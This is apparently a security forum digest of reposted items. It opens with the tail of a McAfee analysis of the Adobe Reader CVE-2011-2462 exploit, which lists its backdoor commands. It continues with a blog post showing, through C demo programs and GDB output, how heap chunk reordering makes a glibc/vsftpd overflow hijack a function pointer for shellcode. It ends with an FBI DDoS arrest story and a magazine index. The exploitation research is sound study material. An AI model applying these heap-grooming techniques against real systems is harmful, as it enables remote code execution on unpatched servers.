CMP EAX, 80047400 JNB SHORT WSE4EF1.10001C88 Further analysis of the control code of the DLL reveals that the following commands can be run on the victim’s system: Cmd Shell Run Getfile Putfile Kill Process Reboot Time Door McAfee Coverage for Exploit CVE-2011-2462 McAfee Intrusion Prevention (formerly IntruShield) has released coverage for the exploit under the attack ID 0x402b1a00 HTTP: Adobe Reader and Acrobat U3D Memory Corruption Remote Code Execution. McAfee customers with up-to-date installations are protected against this malware. Acknowledgments I would like to thank my colleagues Hardik Shah, Swapnil Pathak, and Amit Malik for analyzing this vulnerability and contributing to this blog. Sursa: Inside Adobe Reader Zero-Day Exploit CVE 2011-2462 | Blog Central

More on exploiting glibc __tzfile_read integer overflow to buffer overflow and vsftpd Ramon de C Valle 2011.12.15 A few hours after I posted a link to my previous blog post to the Full-Disclosure mailing list, Kingcope, in another post[1], noted a very straightforward method for acquiring arbitrary code execution through loading of a dynamic library file inside the chroot environment, wiping out all my enthusiasm in making an exploit for this issue. However, there are some details I think are worth mentioning, since the exploitation pattern noted in my previous post can be applied to other similar vulnerabilities. As noted in my previous post, we can turn out an unpredictable to a very predictable environment for exploitation within a limited scope, such as a single function, through features of the current malloc implementation, such as the FIFO feature (i.e. unsorted chunks), the order of memory allocations and frees within this limited scope, and a pattern of repeated actions. The following program illustrates how we can force the reordering of the allocation of two chunks within a known limited scope (i.e. __tzfile_read): #include <stdio.h> #include <stdlib.h> #include <time.h> static time_t *transitions = NULL; int __use_tzfile = 1; void __tzfile_read() { register FILE *f; __use_tzfile = 0; f = fopen("/usr/share/zoneinfo/GMT0", "rc"); printf("f = %p\n", f); free((void *)transitions); transitions = NULL; transitions = (time_t *)malloc(sizeof(FILE)); printf("transitions = %p\n", (void *)transitions); fclose(f); __use_tzfile = 1; return; lose: fclose(f); ret_free_transitions: free((void *)transitions); transitions = NULL; } int main(int argc, char *argv[]) { int i; /* This simulates the sequence of four uploads of valid timezone files * to the path expected by vsftpd. */ for (i = 0; i < 4; i++) { /* This simulates previous memory allocations that may eventually * happen between calls to gmtime, localtime, and tzset functions, * initializing the main arena, and preventing consolidation. */ malloc(sizeof(FILE)); __tzfile_read(); } exit(EXIT_SUCCESS); } When executing this program, you should see an output similar to this: [rcvalle@localhost ~]$ gcc -Wall -Wno-unused-label unsorted.c; ./a.out f = 0x9e4f0a0 transitions = 0x9e4f208 f = 0x9e4f2a0 transitions = 0x9e4f138 f = 0x9e4f268 transitions = 0x9e4f138 f = 0x9e4f300 transitions = 0x9e4f138 Notice we forced the reordering of the chunks allocated for the FILE structure and the transitions buffer in the main arena, through the FIFO feature, the order of memory allocations and frees within our limited scope, in this case, the __tzfile_read function, and a pattern of repeated actions. In addition, notice we also can predict the offset from one chunk to the other and control the amount of memory allocated between them (more on this later). To be short, I replaced the FILE structure in the previous program by a simple structure containing a function pointer which is subsequently called in place of fclose function within our limited scope: #include <stdio.h> #include <stdlib.h> #include <time.h> #include <unistd.h> static time_t *transitions = NULL; int __use_tzfile = 1; typedef struct myfuncs { unsigned int (*mysleep)(unsigned int seconds); /* This padding is to make this structure larger than 64 bytes, thus * being allocated from main arena. */ char padding[sizeof(FILE)-sizeof(void *)]; } myfuncs_t; void __tzfile_read() { register myfuncs_t *f; __use_tzfile = 0; f = malloc(sizeof(myfuncs_t)); f->mysleep = &sleep; printf("f = %p\n", f); free((void *)transitions); transitions = NULL; transitions = (time_t *)malloc(sizeof(FILE)); printf("transitions = %p\n", (void *)transitions); f->mysleep(3); free((void *)f); __use_tzfile = 1; return; lose: free((void *)f); ret_free_transitions: free((void *)transitions); transitions = NULL; } int main(int argc, char *argv[]) { int i; /* This simulates the sequence of four uploads of valid timezone files * to the path expected by vsftpd. */ for (i = 0; i < 4; i++) { /* This simulates previous memory allocations that may eventually * happen between calls to gmtime, localtime, and tzset functions, * initializing the main arena, and preventing consolidation. */ malloc(sizeof(FILE)); __tzfile_read(); } exit(EXIT_SUCCESS); } When executing this program, you should see an output similar to this: [rcvalle@localhost ~]$ gcc -Wall -Wno-unused-label unsorted2.c; ./a.out f = 0x82ad0a0 transitions = 0x82ad138 f = 0x82ad1d0 transitions = 0x82ad138 f = 0x82ad268 transitions = 0x82ad138 f = 0x82ad300 transitions = 0x82ad138 Notice we again forced the reordering of the chunks allocated, but now for the myfuncs structure. Therefore, if an overflow occurs inside our scope with a fopen(malloc), free, malloc, fclose(free) pattern of calls (there may be other patterns) and the data overflowed is used before the overflowed buffer is freed (i.e. fclose, myfuncs->sleep), we have a complete predictable environment for exploitation. I added an overflow in the previous program to illustrate this: #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> static time_t *transitions = NULL; int __use_tzfile = 1; typedef struct myfuncs { unsigned int (*mysleep)(unsigned int seconds); /* This padding is to make this structure larger than 64 bytes, thus * being allocated from main arena. */ char padding[sizeof(FILE)-sizeof(void *)]; } myfuncs_t; void __tzfile_read() { register myfuncs_t *f; __use_tzfile = 0; f = malloc(sizeof(myfuncs_t)); f->mysleep = &sleep; printf("f = %p\n", f); free((void *)transitions); transitions = NULL; transitions = (time_t *)malloc(sizeof(FILE)); printf("transitions = %p\n", (void *)transitions); memset(transitions, 'A', sizeof(FILE) * 8); f->mysleep(3); free((void *)f); __use_tzfile = 1; return; lose: free((void *)f); ret_free_transitions: free((void *)transitions); transitions = NULL; } int main(int argc, char *argv[]) { int i; /* This simulates the sequence of four uploads of valid timezone files * to the path expected by vsftpd. */ for (i = 0; i < 4; i++) { /* This simulates previous memory allocations that may eventually * happen between calls to gmtime, localtime, and tzset functions, * initializing the main arena, and preventing consolidation. */ malloc(sizeof(FILE)); __tzfile_read(); } exit(EXIT_SUCCESS); } When executing this program, you should see the Segmentation Fault occur due to calling our overflowed function pointer: $ gcc -Wall -Wno-unused-label unsorted3.c; ./a.out f = 0x956d0a0 transitions = 0x956d138 f = 0x956d1d0 transitions = 0x956d138 Segmentation fault (core dumped) In GDB: (gdb) r Starting program: /home/rcvalle/a.out f = 0x804a0a0 transitions = 0x804a138 f = 0x804a1d0 transitions = 0x804a138 Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () Missing separate debuginfos, use: debuginfo-install glibc-2.14-5.i686 (gdb) Additionally, as I previously mentioned, we also can predict the offset from one chunk to the other and control the amount of memory allocated between them. This can be used to store a large amount of nop instructions or equivalent along with the shellcode, increasing considerably the chances of a successful exploitation. Also, if this memory is not used within our limited scope, the code that eventually may use this will never be reached after the overflow, thus not requiring any patching. I hope this method of forcing the reordering of chunks allocation being useful to you. [1] http://lists.grok.org.uk/pipermail/full-disclosure/2011-December/084717.html Sursa: http://rcvalle.com/post/14261796328/more-on-exploiting-glibc-tzfile-read-integer-overflow

[h=1]FBI Arrests ‘Anonymous’ Member for Attack Against GeneSimmons.com[/h] Dec 13, 2011 6:46pm The FBI arrested a member of the hacktivist group Anonymous today, for allegedly launching a cyberattack on the website of heavy metal legend and KISS frontman Gene Simmons. Simmons drew the ire of Anonymous members last October, when he took part in an anti-piracy conference and called for a crackdown on file and music sharing on the Internet. Members of the group allegedly shut down his web site, GeneSimmons.com, with a distributed denial of service attack. Distributed denial of service attacks (DDoS) flood Internet sites and computer networks with requests for information and commands, making the networks and Web sites unavailable to computer users. Anonymous member Kevin George Poe, allegedly one of the group who took part in the attack, was arrested today after being charged in an indictment with conspiracy and unauthorized impairment of a protected computer, according to the U.S. Attorney’s Office in Los Angeles. Poe, who lives in Connecticut, turned himself in to federal agents at the U.S. District Courthouse in Hartford for an initial appearance and was released on a personal recognizance bond. Deirdre Murray, a lawyer with the federal defenders office who represented Poe, did not return a call for comment on the case today. Poe is expected to appear at the federal Court in Los Angeles at a later date. Anonymous has been prolific in retaliating against individuals that they don’t agree with. In February, the group hit a U.S. computer security firm named HB Gary and targeted the CEO for allegedly claiming that the firm had infiltrated Anonymous and would disclose details about the group’s membership to the FBI. Members of the group hacked the HBGary website, posting a message on the firms website, allegedly downloaded thousands of emails and to top it off hijacked the CEO’s Twitter account where they posted obscene tweets along with his personal data including home address, social security number and telephone number. Last month the group had pledged to name and expose members of the Zeta drug cartel in what they dubbed OpCartel. Earlier this year, the FBI executed a series of search warrants around the country in relation to last year’s cyberattacks that targeted MasterCard, Visa and PayPal after the companies cut off financial donations to Wikileaks following the website’s release of U.S. diplomatic cables. The search warrants were executed in conjunction with arrests in the United Kingdom of five people who were accused of playing a role in what was dubbed “Operation Payback.” Sursa: http://abcnews.go.com/blogs/politics/2011/12/fbi-arrests-anonymous-member-for-attack-against-genesimmons-com/

ClubHack Magazine #23 December 2011 By MaxiSoler on 15 December 2011 in Papers with No Comments The ClubHack Magazine is the first ‘hacking‘ magazine in India. 0×00 Tech Gyan – GSM 0×01 Tool Gyan – Echo Mirage 0×02 Mom’s Guide – OWASP Mobile Security Project 0×03 Legal Gyan – Reasonable Security Practices under Information Technology (Amendment) Act, 2008 0×04 Matriux Vibhag – Forensics – Part III 0×05 Poster – Mobile Warfare Check http://chmag.in for articles. Download: http://chmag.in/issue/dec2011.pdf Sursa: http://www.vulnerabilitydatabase.com/2011/12/clubhack-magazine-issue-23-december-2011/